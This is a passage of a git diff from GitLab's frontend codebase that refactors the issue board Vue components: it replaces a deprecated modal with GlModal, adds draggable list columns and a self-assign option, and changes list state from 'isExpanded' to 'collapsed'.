+// EE-specific feature. Find the implementation in the `ee/`-folder
+export function transformBoardConfig() {
+ return '';
}
export default {
@@ -106,4 +141,6 @@ export default {
formatListIssues,
fullBoardId,
fullLabelId,
+ getBoardsPath,
+ isListDraggable,
};
diff --git a/app/assets/javascripts/boards/components/board_assignee_dropdown.vue b/app/assets/javascripts/boards/components/board_assignee_dropdown.vue
index c81f171af2b..1469efae5a6 100644
--- a/app/assets/javascripts/boards/components/board_assignee_dropdown.vue
+++ b/app/assets/javascripts/boards/components/board_assignee_dropdown.vue
@@ -1,18 +1,20 @@
<script>
-import { mapActions, mapGetters } from 'vuex';
+import { mapActions, mapGetters, mapState } from 'vuex';
+import { cloneDeep } from 'lodash';
import {
GlDropdownItem,
GlDropdownDivider,
GlAvatarLabeled,
GlAvatarLink,
GlSearchBoxByType,
+ GlLoadingIcon,
} from '@gitlab/ui';
import { __, n__ } from '~/locale';
import IssuableAssignees from '~/sidebar/components/assignees/issuable_assignees.vue';
import BoardEditableItem from '~/boards/components/sidebar/board_editable_item.vue';
import MultiSelectDropdown from '~/vue_shared/components/sidebar/multiselect_dropdown.vue';
import getIssueParticipants from '~/vue_shared/components/sidebar/queries/getIssueParticipants.query.graphql';
-import searchUsers from '~/boards/queries/users_search.query.graphql';
+import searchUsers from '~/boards/graphql/users_search.query.graphql';
export default {
noSearchDelay: 0,
@@ -32,12 +34,13 @@ export default {
GlAvatarLabeled,
GlAvatarLink,
GlSearchBoxByType,
+ GlLoadingIcon,
},
data() {
return {
search: '',
participants: [],
- selected: this.$store.getters.activeIssue.assignees,
+ selected: [],
};
},
apollo: {
@@ -72,6 +75,7 @@ export default {
},
computed: {
...mapGetters(['activeIssue']),
+ ...mapState(['isSettingAssignees']),
assigneeText() {
return n__('Assignee', '%d Assignees', this.selected.length);
},
@@ -89,9 +93,20 @@ export default {
isSearchEmpty() {
return this.search === '';
},
+ currentUser() {
+ return gon?.current_username;
+ },
+ },
+ created() {
+ this.selected = cloneDeep(this.activeIssue.assignees);
},
methods: {
...mapActions(['setAssignees']),
+ async assignSelf() {
+ const [currentUserObject] = await this.setAssignees(this.currentUser);
+
+ this.selectAssignee(currentUserObject);
+ },
clearSelected() {
this.selected = [];
},
@@ -117,9 +132,9 @@ export default {
</script>
<template>
- <board-editable-item :title="assigneeText" @close="saveAssignees">
+ <board-editable-item :loading="isSettingAssignees" :title="assigneeText" @close="saveAssignees">
<template #collapsed>
- <issuable-assignees :users="activeIssue.assignees" />
+ <issuable-assignees :users="activeIssue.assignees" @assign-self="assignSelf" />
</template>
<template #default>
@@ -132,45 +147,48 @@ export default {
<gl-search-box-by-type v-model.trim="search" />
</template>
<template #items>
- <gl-dropdown-item
- :is-checked="selectedIsEmpty"
- data-testid="unassign"
- class="mt-2"
- @click="selectAssignee()"
- >{{ $options.i18n.unassigned }}</gl-dropdown-item
- >
- <gl-dropdown-divider data-testid="unassign-divider" />
- <gl-dropdown-item
- v-for="item in selected"
- :key="item.id"
- :is-checked="isChecked(item.username)"
- @click="unselect(item.username)"
- >
- <gl-avatar-link>
- <gl-avatar-labeled
- :size="32"
- :label="item.name"
- :sub-label="item.username"
- :src="item.avatarUrl || item.avatar"
- />
- </gl-avatar-link>
- </gl-dropdown-item>
- <gl-dropdown-divider v-if="!selectedIsEmpty" data-testid="selected-user-divider" />
- <gl-dropdown-item
- v-for="unselectedUser in unSelectedFiltered"
- :key="unselectedUser.id"
- :data-testid="`item_${unselectedUser.name}`"
- @click="selectAssignee(unselectedUser)"
- >
- <gl-avatar-link>
- <gl-avatar-labeled
- :size="32"
- :label="unselectedUser.name"
- :sub-label="unselectedUser.username"
- :src="unselectedUser.avatarUrl || unselectedUser.avatar"
- />
- </gl-avatar-link>
- </gl-dropdown-item>
+ <gl-loading-icon v-if="$apollo.queries.participants.loading" size="lg" />
+ <template v-else>
+ <gl-dropdown-item
+ :is-checked="selectedIsEmpty"
+ data-testid="unassign"
+ class="mt-2"
+ @click="selectAssignee()"
+ >{{ $options.i18n.unassigned }}</gl-dropdown-item
+ >
+ <gl-dropdown-divider data-testid="unassign-divider" />
+ <gl-dropdown-item
+ v-for="item in selected"
+ :key="item.id"
+ :is-checked="isChecked(item.username)"
+ @click="unselect(item.username)"
+ >
+ <gl-avatar-link>
+ <gl-avatar-labeled
+ :size="32"
+ :label="item.name"
+ :sub-label="item.username"
+ :src="item.avatarUrl || item.avatar"
+ />
+ </gl-avatar-link>
+ </gl-dropdown-item>
+ <gl-dropdown-divider v-if="!selectedIsEmpty" data-testid="selected-user-divider" />
+ <gl-dropdown-item
+ v-for="unselectedUser in unSelectedFiltered"
+ :key="unselectedUser.id"
+ :data-testid="`item_${unselectedUser.name}`"
+ @click="selectAssignee(unselectedUser)"
+ >
+ <gl-avatar-link>
+ <gl-avatar-labeled
+ :size="32"
+ :label="unselectedUser.name"
+ :sub-label="unselectedUser.username"
+ :src="unselectedUser.avatarUrl || unselectedUser.avatar"
+ />
+ </gl-avatar-link>
+ </gl-dropdown-item>
+ </template>
</template>
</multi-select-dropdown>
</template>
diff --git a/app/assets/javascripts/boards/components/board_column.vue b/app/assets/javascripts/boards/components/board_column.vue
index cb93340bcf8..753e6941c43 100644
--- a/app/assets/javascripts/boards/components/board_column.vue
+++ b/app/assets/javascripts/boards/components/board_column.vue
@@ -2,15 +2,12 @@
// This component is being replaced in favor of './board_column_new.vue' for GraphQL boards
import Sortable from 'sortablejs';
import BoardListHeader from 'ee_else_ce/boards/components/board_list_header.vue';
-import EmptyComponent from '~/vue_shared/components/empty_component';
import BoardList from './board_list.vue';
import boardsStore from '../stores/boards_store';
import { getBoardSortableDefaultOptions, sortableEnd } from '../mixins/sortable_default_options';
-import { ListType } from '../constants';
export default {
components: {
- BoardPromotionState: EmptyComponent,
BoardListHeader,
BoardList,
},
@@ -42,9 +39,6 @@ export default {
};
},
computed: {
- showBoardListAndBoardInfo() {
- return this.list.type !== ListType.promotion;
- },
listIssues() {
return this.list.issues;
},
@@ -105,16 +99,7 @@ export default {
class="board-inner gl-display-flex gl-flex-direction-column gl-relative gl-h-full gl-rounded-base"
>
<board-list-header :can-admin-list="canAdminList" :list="list" :disabled="disabled" />
- <board-list
- v-if="showBoardListAndBoardInfo"
- ref="board-list"
- :disabled="disabled"
- :issues="listIssues"
- :list="list"
- />
-
- <!-- Will be only available in EE -->
- <board-promotion-state v-if="list.id === 'promotion'" />
+ <board-list ref="board-list" :disabled="disabled" :issues="listIssues" :list="list" />
</div>
</div>
</template>
diff --git a/app/assets/javascripts/boards/components/board_column_new.vue b/app/assets/javascripts/boards/components/board_column_new.vue
index 8a59355eb83..7839f45c48b 100644
--- a/app/assets/javascripts/boards/components/board_column_new.vue
+++ b/app/assets/javascripts/boards/components/board_column_new.vue
@@ -1,13 +1,11 @@
<script>
import { mapGetters, mapActions, mapState } from 'vuex';
import BoardListHeader from 'ee_else_ce/boards/components/board_list_header_new.vue';
-import BoardPromotionState from 'ee_else_ce/boards/components/board_promotion_state';
import BoardList from './board_list_new.vue';
-import { ListType } from '../constants';
+import { isListDraggable } from '../boards_util';
export default {
components: {
- BoardPromotionState,
BoardListHeader,
BoardList,
},
@@ -35,22 +33,17 @@ export default {
computed: {
...mapState(['filterParams']),
...mapGetters(['getIssuesByList']),
- showBoardListAndBoardInfo() {
- return this.list.type !== ListType.promotion;
- },
listIssues() {
return this.getIssuesByList(this.list.id);
},
- shouldFetchIssues() {
- return this.list.type !== ListType.blank;
+ isListDraggable() {
+ return isListDraggable(this.list);
},
},
watch: {
filterParams: {
handler() {
- if (this.shouldFetchIssues) {
- this.fetchIssuesForList({ listId: this.list.id });
- }
+ this.fetchIssuesForList({ listId: this.list.id });
},
deep: true,
immediate: true,
@@ -58,7 +51,6 @@ export default {
},
methods: {
...mapActions(['fetchIssuesForList']),
- // TODO: Reordering of lists https://gitlab.com/gitlab-org/gitlab/-/issues/280515
},
};
</script>
@@ -66,13 +58,12 @@ export default {
<template>
<div
:class="{
- 'is-draggable': !list.preset,
- 'is-expandable': list.isExpandable,
- 'is-collapsed': !list.isExpanded,
- 'board-type-assignee': list.type === 'assignee',
+ 'is-draggable': isListDraggable,
+ 'is-collapsed': list.collapsed,
+ 'board-type-assignee': list.listType === 'assignee',
}"
:data-id="list.id"
- class="board gl-display-inline-block gl-h-full gl-px-3 gl-vertical-align-top gl-white-space-normal"
+ class="board gl-display-inline-block gl-h-full gl-px-3 gl-vertical-align-top gl-white-space-normal is-expandable"
data-qa-selector="board_list"
>
<div
@@ -80,15 +71,12 @@ export default {
>
<board-list-header :can-admin-list="canAdminList" :list="list" :disabled="disabled" />
<board-list
- v-if="showBoardListAndBoardInfo"
ref="board-list"
:disabled="disabled"
:issues="listIssues"
:list="list"
+ :can-admin-list="canAdminList"
/>
-
- <!-- Will be only available in EE -->
- <board-promotion-state v-if="list.id === 'promotion'" />
</div>
</div>
</template>
diff --git a/app/assets/javascripts/boards/components/board_configuration_options.vue b/app/assets/javascripts/boards/components/board_configuration_options.vue
index 754b00b54e0..99d1e4a2611 100644
--- a/app/assets/javascripts/boards/components/board_configuration_options.vue
+++ b/app/assets/javascripts/boards/components/board_configuration_options.vue
@@ -42,7 +42,7 @@ export default {
</script>
<template>
- <div class="append-bottom-20">
+ <div class="gl-mb-5">
<label class="label-bold gl-font-lg" for="board-new-name">
{{ __('List options') }}
</label>
diff --git a/app/assets/javascripts/boards/components/board_content.vue b/app/assets/javascripts/boards/components/board_content.vue
index 92976574efb..b366aa6fdb3 100644
--- a/app/assets/javascripts/boards/components/board_content.vue
+++ b/app/assets/javascripts/boards/components/board_content.vue
@@ -1,10 +1,13 @@
<script>
+import Draggable from 'vuedraggable';
import { mapState, mapGetters, mapActions } from 'vuex';
import { sortBy } from 'lodash';
import { GlAlert } from '@gitlab/ui';
-import BoardColumn from 'ee_else_ce/boards/components/board_column.vue';
+import BoardColumn from './board_column.vue';
import BoardColumnNew from './board_column_new.vue';
import glFeatureFlagMixin from '~/vue_shared/mixins/gl_feature_flags_mixin';
+import defaultSortableConfig from '~/sortable/sortable_config';
+import { sortableEnd, sortableStart } from '~/boards/mixins/sortable_default_options';
export default {
components: {
@@ -32,18 +35,51 @@ export default {
...mapState(['boardLists', 'error']),
...mapGetters(['isSwimlanesOn']),
boardListsToUse() {
- const lists =
- this.glFeatures.graphqlBoardLists || this.isSwimlanesOn ? this.boardLists : this.lists;
- return sortBy([...Object.values(lists)], 'position');
+ return this.glFeatures.graphqlBoardLists || this.isSwimlanesOn
+ ? sortBy([...Object.values(this.boardLists)], 'position')
+ : this.lists;
+ },
+ canDragColumns() {
+ return this.glFeatures.graphqlBoardLists && this.canAdminList;
+ },
+ boardColumnWrapper() {
+ return this.canDragColumns ? Draggable : 'div';
+ },
+ draggableOptions() {
+ const options = {
+ ...defaultSortableConfig,
+ disabled: this.disabled,
+ draggable: '.is-draggable',
+ fallbackOnBody: false,
+ group: 'boards-list',
+ tag: 'div',
+ value: this.lists,
+ };
+
+ return this.canDragColumns ? options : {};
},
- },
- mounted() {
- if (this.glFeatures.graphqlBoardLists) {
- this.showPromotionList();
- }
},
methods: {
- ...mapActions(['showPromotionList']),
+ ...mapActions(['moveList']),
+ handleDragOnStart() {
+ sortableStart();
+ },
+
+ handleDragOnEnd(params) {
+ sortableEnd();
+
+ const { item, newIndex, oldIndex, to } = params;
+
+ const listId = item.dataset.id;
+ const replacedListId = to.children[newIndex].dataset.id;
+
+ this.moveList({
+ listId,
+ replacedListId,
+ newIndex,
+ adjustmentValue: newIndex < oldIndex ? 1 : -1,
+ });
+ },
},
};
</script>
@@ -53,10 +89,14 @@ export default {
<gl-alert v-if="error" variant="danger" :dismissible="false">
{{ error }}
</gl-alert>
- <div
+ <component
+ :is="boardColumnWrapper"
v-if="!isSwimlanesOn"
+ ref="list"
+ v-bind="draggableOptions"
class="boards-list gl-w-full gl-py-5 gl-px-3 gl-white-space-nowrap"
- data-qa-selector="boards_list"
+ @start="handleDragOnStart"
+ @end="handleDragOnEnd"
>
<board-column
v-for="list in boardListsToUse"
@@ -66,7 +106,7 @@ export default {
:list="list"
:disabled="disabled"
/>
- </div>
+ </component>
<template v-else>
<epics-swimlanes
diff --git a/app/assets/javascripts/boards/components/board_form.vue b/app/assets/javascripts/boards/components/board_form.vue
index e4ef3600ff9..dab934352ca 100644
--- a/app/assets/javascripts/boards/components/board_form.vue
+++ b/app/assets/javascripts/boards/components/board_form.vue
@@ -1,11 +1,14 @@
<script>
-import { __ } from '~/locale';
+import { GlModal } from '@gitlab/ui';
+import { pick } from 'lodash';
+import { __, s__ } from '~/locale';
import { deprecatedCreateFlash as Flash } from '~/flash';
-import DeprecatedModal from '~/vue_shared/components/deprecated_modal.vue';
import { visitUrl } from '~/lib/utils/url_utility';
import boardsStore from '~/boards/stores/boards_store';
+import { fullBoardId, getBoardsPath } from '../boards_util';
import BoardConfigurationOptions from './board_configuration_options.vue';
+import createBoardMutation from '../graphql/board.mutation.graphql';
const boardDefaults = {
id: false,
@@ -19,10 +22,28 @@ const boardDefaults = {
hide_closed_list: false,
};
+const formType = {
+ new: 'new',
+ delete: 'delete',
+ edit: 'edit',
+};
+
export default {
+ i18n: {
+ [formType.new]: { title: s__('Board|Create new board'), btnText: s__('Board|Create board') },
+ [formType.delete]: { title: s__('Board|Delete board'), btnText: __('Delete') },
+ [formType.edit]: { title: s__('Board|Edit board'), btnText: __('Save changes') },
+ scopeModalTitle: s__('Board|Board scope'),
+ cancelButtonText: __('Cancel'),
+ deleteErrorMessage: s__('Board|Failed to delete board. Please try again.'),
+ saveErrorMessage: __('Unable to save your changes. Please try again.'),
+ deleteConfirmationMessage: s__('Board|Are you sure you want to delete this board?'),
+ titleFieldLabel: __('Title'),
+ titleFieldPlaceholder: s__('Board|Enter board name'),
+ },
components: {
BoardScope: () => import('ee_component/boards/components/board_scope.vue'),
- DeprecatedModal,
+ GlModal,
BoardConfigurationOptions,
},
props: {
@@ -63,36 +84,35 @@ export default {
required: false,
default: false,
},
+ currentBoard: {
+ type: Object,
+ required: true,
+ },
+ },
+ inject: {
+ endpoints: {
+ default: {},
+ },
},
data() {
return {
board: { ...boardDefaults, ...this.currentBoard },
- currentBoard: boardsStore.state.currentBoard,
currentPage: boardsStore.state.currentPage,
isLoading: false,
};
},
computed: {
isNewForm() {
- return this.currentPage === 'new';
+ return this.currentPage === formType.new;
},
isDeleteForm() {
- return this.currentPage === 'delete';
+ return this.currentPage === formType.delete;
},
isEditForm() {
- return this.currentPage === 'edit';
- },
- isVisible() {
- return this.currentPage !== '';
+ return this.currentPage === formType.edit;
},
buttonText() {
- if (this.isNewForm) {
- return __('Create board');
- }
- if (this.isDeleteForm) {
- return __('Delete');
- }
- return __('Save changes');
+ return this.$options.i18n[this.currentPage].btnText;
},
buttonKind() {
if (this.isNewForm) {
@@ -104,16 +124,11 @@ export default {
return 'info';
},
title() {
- if (this.isNewForm) {
- return __('Create new board');
- }
- if (this.isDeleteForm) {
- return __('Delete board');
- }
if (this.readonly) {
- return __('Board scope');
+ return this.$options.i18n.scopeModalTitle;
}
- return __('Edit board');
+
+ return this.$options.i18n[this.currentPage].title;
},
readonly() {
return !this.canAdminBoard;
@@ -121,6 +136,33 @@ export default {
submitDisabled() {
return this.isLoading || this.board.name.length === 0;
},
+ primaryProps() {
+ return {
+ text: this.buttonText,
+ attributes: [
+ {
+ variant: this.buttonKind,
+ disabled: this.submitDisabled,
+ loading: this.isLoading,
+ 'data-qa-selector': 'save_changes_button',
+ },
+ ],
+ };
+ },
+ cancelProps() {
+ return {
+ text: this.$options.i18n.cancelButtonText,
+ };
+ },
+ boardPayload() {
+ const { assignee, milestone, labels } = this.board;
+ return {
+ ...this.board,
+ assignee_id: assignee?.id,
+ milestone_id: milestone?.id,
+ label_ids: labels.length ? labels.map(b => b.id) : [''],
+ };
+ },
},
mounted() {
this.resetFormState();
@@ -129,6 +171,31 @@ export default {
}
},
methods: {
+ callBoardMutation(id) {
+ return this.$apollo.mutate({
+ mutation: createBoardMutation,
+ variables: {
+ ...pick(this.boardPayload, ['hideClosedList', 'hideBacklogList']),
+ id,
+ },
+ });
+ },
+ async updateBoard() {
+ const responses = await Promise.all([
+ // Remove unnecessary REST API call when https://gitlab.com/gitlab-org/gitlab/-/issues/282299#note_462996301 is resolved
+ getBoardsPath(this.endpoints.boardsEndpoint, this.boardPayload),
+ this.callBoardMutation(fullBoardId(this.boardPayload.id)),
+ ]);
+
+ return responses[0].data;
+ },
+ async createBoard() {
+ // TODO: change this to use `createBoard` mutation https://gitlab.com/gitlab-org/gitlab/-/issues/292466 is resolved
+ const boardData = await getBoardsPath(this.endpoints.boardsEndpoint, this.boardPayload);
+ this.callBoardMutation(fullBoardId(boardData.data.id));
+
+ return boardData.data || boardData;
+ },
submit() {
if (this.board.name.length === 0) return;
this.isLoading = true;
@@ -136,31 +203,21 @@ export default {
boardsStore
.deleteBoard(this.currentBoard)
.then(() => {
+ this.isLoading = false;
visitUrl(boardsStore.rootPath);
})
.catch(() => {
- Flash(__('Failed to delete board. Please try again.'));
+ Flash(this.$options.i18n.deleteErrorMessage);
this.isLoading = false;
});
} else {
- boardsStore
- .createBoard(this.board)
- .then(resp => {
- // This handles 2 use cases
- // - In create call we only get one parameter, the new board
- // - In update call, due to Promise.all, we get REST response in
- // array index 0
-
- if (Array.isArray(resp)) {
- return resp[0].data;
- }
- return resp.data ? resp.data : resp;
- })
+ const boardAction = this.boardPayload.id ? this.updateBoard : this.createBoard;
+ boardAction()
.then(data => {
visitUrl(data.board_path);
})
.catch(() => {
- Flash(__('Unable to save your changes. Please try again.'));
+ Flash(this.$options.i18n.saveErrorMessage);
this.isLoading = false;
});
}
@@ -181,53 +238,58 @@ export default {
</script>
<template>
- <deprecated-modal
- v-show="isVisible"
+ <gl-modal
+ modal-id="board-config-modal"
+ modal-class="board-config-modal"
+ content-class="gl-absolute gl-top-7"
+ visible
:hide-footer="readonly"
:title="title"
- :primary-button-label="buttonText"
- :kind="buttonKind"
- :submit-disabled="submitDisabled"
- modal-dialog-class="board-config-modal"
+ :action-primary="primaryProps"
+ :action-cancel="cancelProps"
+ @primary="submit"
@cancel="cancel"
- @submit="submit"
+ @close="cancel"
+ @hide.prevent
>
- <template #body>
- <p v-if="isDeleteForm">{{ __('Are you sure you want to delete this board?') }}</p>
- <form v-else class="js-board-config-modal" @submit.prevent>
- <div v-if="!readonly" class="append-bottom-20">
- <label class="label-bold gl-font-lg" for="board-new-name">{{ __('Title') }}</label>
- <input
- id="board-new-name"
- ref="name"
- v-model="board.name"
- class="form-control"
- data-qa-selector="board_name_field"
- type="text"
- :placeholder="__('Enter board name')"
- @keyup.enter="submit"
- />
- </div>
-
- <board-configuration-options
- :is-new-form="isNewForm"
- :board="board"
- :current-board="currentBoard"
+ <p v-if="isDeleteForm" data-testid="delete-confirmation-message">
+ {{ $options.i18n.deleteConfirmationMessage }}
+ </p>
+ <form v-else class="js-board-config-modal" data-testid="board-form-wrapper" @submit.prevent>
+ <div v-if="!readonly" class="gl-mb-5" data-testid="board-form">
+ <label class="gl-font-weight-bold gl-font-lg" for="board-new-name">
+ {{ $options.i18n.titleFieldLabel }}
+ </label>
+ <input
+ id="board-new-name"
+ ref="name"
+ v-model="board.name"
+ class="form-control"
+ data-qa-selector="board_name_field"
+ type="text"
+ :placeholder="$options.i18n.titleFieldPlaceholder"
+ @keyup.enter="submit"
/>
+ </div>
- <board-scope
- v-if="scopedIssueBoardFeatureEnabled"
- :collapse-scope="isNewForm"
- :board="board"
- :can-admin-board="canAdminBoard"
- :labels-path="labelsPath"
- :labels-web-url="labelsWebUrl"
- :enable-scoped-labels="enableScopedLabels"
- :project-id="projectId"
- :group-id="groupId"
- :weights="weights"
- />
- </form>
- </template>
- </deprecated-modal>
+ <board-configuration-options
+ :is-new-form="isNewForm"
+ :board="board"
+ :current-board="currentBoard"
+ />
+
+ <board-scope
+ v-if="scopedIssueBoardFeatureEnabled"
+ :collapse-scope="isNewForm"
+ :board="board"
+ :can-admin-board="canAdminBoard"
+ :labels-path="labelsPath"
+ :labels-web-url="labelsWebUrl"
+ :enable-scoped-labels="enableScopedLabels"
+ :project-id="projectId"
+ :group-id="groupId"
+ :weights="weights"
+ />
+ </form>
+ </gl-modal>
</template>
diff --git a/app/assets/javascripts/boards/components/board_list.vue b/app/assets/javascripts/boards/components/board_list.vue
index 53989e2d9de..1f87b563e73 100644
--- a/app/assets/javascripts/boards/components/board_list.vue
+++ b/app/assets/javascripts/boards/components/board_list.vue
@@ -6,7 +6,6 @@ import boardCard from './board_card.vue';
import eventHub from '../eventhub';
import boardsStore from '../stores/boards_store';
import { sprintf, __ } from '~/locale';
-import glFeatureFlagMixin from '~/vue_shared/mixins/gl_feature_flags_mixin';
import { deprecatedCreateFlash as createFlash } from '~/flash';
import {
getBoardSortableDefaultOptions,
@@ -25,7 +24,6 @@ export default {
boardNewIssue,
GlLoadingIcon,
},
- mixins: [glFeatureFlagMixin()],
props: {
disabled: {
type: Boolean,
diff --git a/app/assets/javascripts/boards/components/board_list_header.vue b/app/assets/javascripts/boards/components/board_list_header.vue
index d85ba2038a7..3db5c2e0830 100644
--- a/app/assets/javascripts/boards/components/board_list_header.vue
+++ b/app/assets/javascripts/boards/components/board_list_header.vue
@@ -72,12 +72,7 @@ export default {
return this.list?.label?.description || this.list.title || '';
},
showListHeaderButton() {
- return (
- !this.disabled &&
- this.listType !== ListType.closed &&
- this.listType !== ListType.blank &&
- this.listType !== ListType.promotion
- );
+ return !this.disabled && this.listType !== ListType.closed;
},
showMilestoneListDetails() {
return (
@@ -109,9 +104,6 @@ export default {
this.listType !== ListType.backlog && this.showListHeaderButton && this.list.isExpanded
);
},
- showBoardListAndBoardInfo() {
- return this.listType !== ListType.blank && this.listType !== ListType.promotion;
- },
uniqueKey() {
// eslint-disable-next-line @gitlab/require-i18n-strings
return `boards.${this.boardId}.${this.listType}.${this.list.id}`;
@@ -190,7 +182,8 @@ export default {
:title="chevronTooltip"
:icon="chevronIcon"
class="board-title-caret no-drag gl-cursor-pointer"
- variant="link"
+ category="tertiary"
+ size="small"
@click="toggleExpanded"
/>
<!-- The following is only true in EE and if it is a milestone -->
@@ -288,7 +281,6 @@ export default {
</gl-tooltip>
<div
- v-if="showBoardListAndBoardInfo"
class="issue-count-badge gl-display-inline-flex gl-pr-0 no-drag text-secondary"
:class="{
'gl-display-none!': !list.isExpanded && isSwimlanesHeader,
diff --git a/app/assets/javascripts/boards/components/board_list_header_new.vue b/app/assets/javascripts/boards/components/board_list_header_new.vue
index 99347a4cd4d..44eb2aa34c2 100644
--- a/app/assets/javascripts/boards/components/board_list_header_new.vue
+++ b/app/assets/javascripts/boards/components/board_list_header_new.vue
@@ -9,15 +9,22 @@ import {
GlSprintf,
GlTooltipDirective,
} from '@gitlab/ui';
-import { n__, s__ } from '~/locale';
+import { n__, s__, __ } from '~/locale';
import AccessorUtilities from '../../lib/utils/accessor';
import IssueCount from './issue_count.vue';
import eventHub from '../eventhub';
import sidebarEventHub from '~/sidebar/event_hub';
import { inactiveId, LIST, ListType } from '../constants';
import { isScopedLabel } from '~/lib/utils/common_utils';
+import { isListDraggable } from '~/boards/boards_util';
export default {
+ i18n: {
+ newIssue: __('New issue'),
+ listSettings: __('List settings'),
+ expand: s__('Boards|Expand'),
+ collapse: s__('Boards|Collapse'),
+ },
components: {
GlButtonGroup,
GlButton,
@@ -66,57 +73,49 @@ export default {
return Boolean(this.currentUserId);
},
listType() {
- return this.list.type;
+ return this.list.listType;
},
listAssignee() {
return this.list?.assignee?.username || '';
},
listTitle() {
- return this.list?.label?.description || this.list.title || '';
+ return this.list?.label?.description || this.list?.assignee?.name || this.list.title || '';
},
showListHeaderButton() {
- return (
- !this.disabled &&
- this.listType !== ListType.closed &&
- this.listType !== ListType.blank &&
- this.listType !== ListType.promotion
- );
+ return !this.disabled && this.listType !== ListType.closed;
},
showMilestoneListDetails() {
return (
- this.list.type === ListType.milestone &&
+ this.listType === ListType.milestone &&
this.list.milestone &&
- (this.list.isExpanded || !this.isSwimlanesHeader)
+ (!this.list.collapsed || !this.isSwimlanesHeader)
);
},
showAssigneeListDetails() {
return (
- this.list.type === ListType.assignee && (this.list.isExpanded || !this.isSwimlanesHeader)
+ this.listType === ListType.assignee && (!this.list.collapsed || !this.isSwimlanesHeader)
);
},
issuesCount() {
- return this.list.issuesSize;
+ return this.list.issuesCount;
},
issuesTooltipLabel() {
return n__(`%d issue`, `%d issues`, this.issuesCount);
},
chevronTooltip() {
- return this.list.isExpanded ? s__('Boards|Collapse') : s__('Boards|Expand');
+ return this.list.collapsed ? this.$options.i18n.expand : this.$options.i18n.collapse;
},
chevronIcon() {
- return this.list.isExpanded ? 'chevron-right' : 'chevron-down';
+ return this.list.collapsed ? 'chevron-down' : 'chevron-right';
},
isNewIssueShown() {
return this.listType === ListType.backlog || this.showListHeaderButton;
},
isSettingsShown() {
return (
- this.listType !== ListType.backlog && this.showListHeaderButton && this.list.isExpanded
+ this.listType !== ListType.backlog && this.showListHeaderButton && !this.list.collapsed
);
},
- showBoardListAndBoardInfo() {
- return this.listType !== ListType.blank && this.listType !== ListType.promotion;
- },
uniqueKey() {
// eslint-disable-next-line @gitlab/require-i18n-strings
return `boards.${this.boardId}.${this.listType}.${this.list.id}`;
@@ -127,6 +126,9 @@ export default {
headerStyle() {
return { borderTopColor: this.list?.label?.color };
},
+ userCanDrag() {
+ return !this.disabled && isListDraggable(this.list);
+ },
},
methods: {
...mapActions(['updateList', 'setActiveId']),
@@ -145,7 +147,7 @@ export default {
eventHub.$emit(`toggle-issue-form-${this.list.id}`);
},
toggleExpanded() {
- this.list.isExpanded = !this.list.isExpanded;
+ this.list.collapsed = !this.list.collapsed;
if (!this.isLoggedIn) {
this.addToLocalStorage();
@@ -159,11 +161,11 @@ export default {
},
addToLocalStorage() {
if (AccessorUtilities.isLocalStorageAccessSafe()) {
- localStorage.setItem(`${this.uniqueKey}.expanded`, this.list.isExpanded);
+ localStorage.setItem(`${this.uniqueKey}.expanded`, !this.list.collapsed);
}
},
updateListFunction() {
- this.updateList({ listId: this.list.id, collapsed: !this.list.isExpanded });
+ this.updateList({ listId: this.list.id, collapsed: this.list.collapsed });
},
},
};
@@ -173,7 +175,7 @@ export default {
<header
:class="{
'has-border': list.label && list.label.color,
- 'gl-h-full': !list.isExpanded,
+ 'gl-h-full': list.collapsed,
'board-inner gl-rounded-top-left-base gl-rounded-top-right-base': isSwimlanesHeader,
}"
:style="headerStyle"
@@ -183,22 +185,22 @@ export default {
>
<h3
:class="{
- 'user-can-drag': !disabled && !list.preset,
- 'gl-py-3 gl-h-full': !list.isExpanded && !isSwimlanesHeader,
- 'gl-border-b-0': !list.isExpanded || isSwimlanesHeader,
- 'gl-py-2': !list.isExpanded && isSwimlanesHeader,
- 'gl-flex-direction-column': !list.isExpanded,
+ 'user-can-drag': userCanDrag,
+ 'gl-py-3 gl-h-full': list.collapsed && !isSwimlanesHeader,
+ 'gl-border-b-0': list.collapsed || isSwimlanesHeader,
+ 'gl-py-2': list.collapsed && isSwimlanesHeader,
+ 'gl-flex-direction-column': list.collapsed,
}"
class="board-title gl-m-0 gl-display-flex gl-align-items-center gl-font-base gl-px-3 js-board-handle"
>
<gl-button
- v-if="list.isExpandable"
v-gl-tooltip.hover
:aria-label="chevronTooltip"
:title="chevronTooltip"
:icon="chevronIcon"
class="board-title-caret no-drag gl-cursor-pointer"
- variant="link"
+ category="tertiary"
+ size="small"
@click="toggleExpanded"
/>
<!-- EE start -->
@@ -207,8 +209,8 @@ export default {
aria-hidden="true"
class="milestone-icon"
:class="{
- 'gl-mt-3 gl-rotate-90': !list.isExpanded,
- 'gl-mr-2': list.isExpanded,
+ 'gl-mt-3 gl-rotate-90': list.collapsed,
+ 'gl-mr-2': !list.collapsed,
}"
>
<gl-icon name="timer" />
@@ -216,17 +218,17 @@ export default {
<a
v-if="showAssigneeListDetails"
- :href="list.assignee.path"
+ :href="list.assignee.webUrl"
class="user-avatar-link js-no-trigger"
:class="{
- 'gl-mt-3 gl-rotate-90': !list.isExpanded,
+ 'gl-mt-3 gl-rotate-90': list.collapsed,
}"
>
<img
v-gl-tooltip.hover.bottom
:title="listAssignee"
:alt="list.assignee.name"
- :src="list.assignee.avatar"
+ :src="list.assignee.avatarUrl"
class="avatar s20"
height="20"
width="20"
@@ -236,9 +238,9 @@ export default {
<div
class="board-title-text"
:class="{
- 'gl-display-none': !list.isExpanded && isSwimlanesHeader,
- 'gl-flex-grow-0 gl-my-3 gl-mx-0': !list.isExpanded,
- 'gl-flex-grow-1': list.isExpanded,
+ 'gl-display-none': list.collapsed && isSwimlanesHeader,
+ 'gl-flex-grow-0 gl-my-3 gl-mx-0': list.collapsed,
+ 'gl-flex-grow-1': !list.collapsed,
}"
>
<!-- EE start -->
@@ -246,16 +248,16 @@ export default {
v-if="listType !== 'label'"
v-gl-tooltip.hover
:class="{
- 'gl-display-block': !list.isExpanded || listType === 'milestone',
+ 'gl-display-block': list.collapsed || listType === 'milestone',
}"
:title="listTitle"
class="board-title-main-text gl-text-truncate"
>
- {{ list.title }}
+ {{ listTitle }}
</span>
<span
v-if="listType === 'assignee'"
- v-show="list.isExpanded"
+ v-show="!list.collapsed"
class="gl-ml-2 gl-font-weight-normal gl-text-gray-500"
>
@{{ listAssignee }}
@@ -267,21 +269,21 @@ export default {
:background-color="list.label.color"
:description="list.label.description"
:scoped="showScopedLabels(list.label)"
- :size="!list.isExpanded ? 'sm' : ''"
+ :size="list.collapsed ? 'sm' : ''"
:title="list.label.title"
/>
</div>
<!-- EE start -->
<span
- v-if="isSwimlanesHeader && !list.isExpanded"
